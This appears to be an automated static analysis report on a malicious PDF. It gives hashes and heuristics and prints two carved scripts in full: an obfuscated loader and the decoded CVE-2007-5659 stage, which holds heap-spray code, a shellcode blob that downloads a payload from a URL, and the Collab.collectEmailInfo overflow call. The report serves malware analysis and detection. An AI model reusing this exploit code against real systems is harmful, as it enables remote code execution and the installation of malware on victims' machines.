Malicious PDF — malware analysis report

Static analysis result for SHA-256 794b5ceff36e8f73…

MALICIOUS

PDF

20.2 KB Created: 2012-11-11 20:36:04 +03:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2026-05-09
MD5: d1db94cad717e6a4f72277515f7ffc21 SHA-1: 838b6790c74fc337adb6dde31654531756ef2d09 SHA-256: 794b5ceff36e8f73675855b40d25a02de9ecf950fc0f438009170e13303a1ae2
110 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages the CVE-2007-5659 vulnerability. This exploit is triggered via an OpenAction in the PDF, which reads a form field, decodes it, and then executes the recovered stage. The JavaScript performs a heap spray and calls app.eval, indicating it's designed to download and execute further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9977

Heuristics 5

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0x4D16 1302 bytes
SHA-256: 32439d417d3852463929be759ed6b68ea717f90e0cdbe484a5913af2c9706985
Detection
ClamAV: No threats found
Obfuscation or payload: likely
21 of 39 identifiers look randomly generated (e.g. 'dfhja78r278fdsa78tffdfssdf78dasf678as87d') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var hjgklsfoire34o = "fghijk";
var reg34e34rfrew = ':ABCD'+'EFG';
var ewr32r23wre = 'QRS'+'TU'+'VWXYZ{'+'}';
var rere3ew2r23w = "()[]^"+"abc"+"de";
var ewrwr23wrewf = 'pqrstuvw';
var ert4t3ret = '45678';
var werr3r2wr3er = '"=<>&\\';
function sdrgdge54gr(dfhrh56t){
var fjyr65rt="";
var mnbhiy7irtf = 38;
for (var i = 0;i<dfhrh56t.length-(15-14);i++)
{var cxnerg4feeswf = dfhrh56t[i];
var cxvb5ryrr=xczr4etw4e.indexOf(cxnerg4feeswf)-mnbhiy7irtf;
var rwghoeregregr= cxvb5ryrr+xczr4etw4e.length;
if (cxvb5ryrr<(10-10)){cxvb5ryrr=rwghoeregregr}
fjyr65rt += xczr4etw4e.charAt(cxvb5ryrr)}
return fjyr65rt;}
var dsfvcwt4es = '9/!%+-*.,;';
var esdrzw4ry = hjgklsfoire34o+"lmno"+ewrwr23wrewf+'x'+'yz_0123'+ert4t3ret+dsfvcwt4es+werr3r2wr3er;
var nmxcbver4t = ewr32r23wre+' '+rere3ew2r23w+esdrzw4ry;
var xcvzwt4ert4t = reg34e34rfrew +'HIJKLMNOP';
var edrrrt4fw4re = xcvzwt4ert4t+nmxcbver4t;
var xczr4etw4e =edrrrt4fw4re;
var erg4wtgeg=getField("WSWSWS");
var ewfwr34fw4e=erg4wtgeg.value;
var xcvbretyg43e = sdrgdge54gr(ewfwr34fw4e);
var xbv4tter4t = "hauaiyh9iryh98wyf98awyf89sdayfp89aewyf89wey9wev"+"alrgwrgqr3ewgergvaebgegaehergg";
var dfhja78r278fdsa78tffdfssdf78dasf678as87dasf78d6fs78dfas7d7dt78 = xbv4tter4t.substr(45,4);
app[dfhja78r278fdsa78tffdfssdf78dasf678as87dasf78d6fs78dfas7d7dt78](xcvbretyg43e);
acroform_shifted_field_stage_000.js deobfuscated-js AcroForm field shifted-alphabet decoded (shift 38) at offset 0x4E2 2058 bytes
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \

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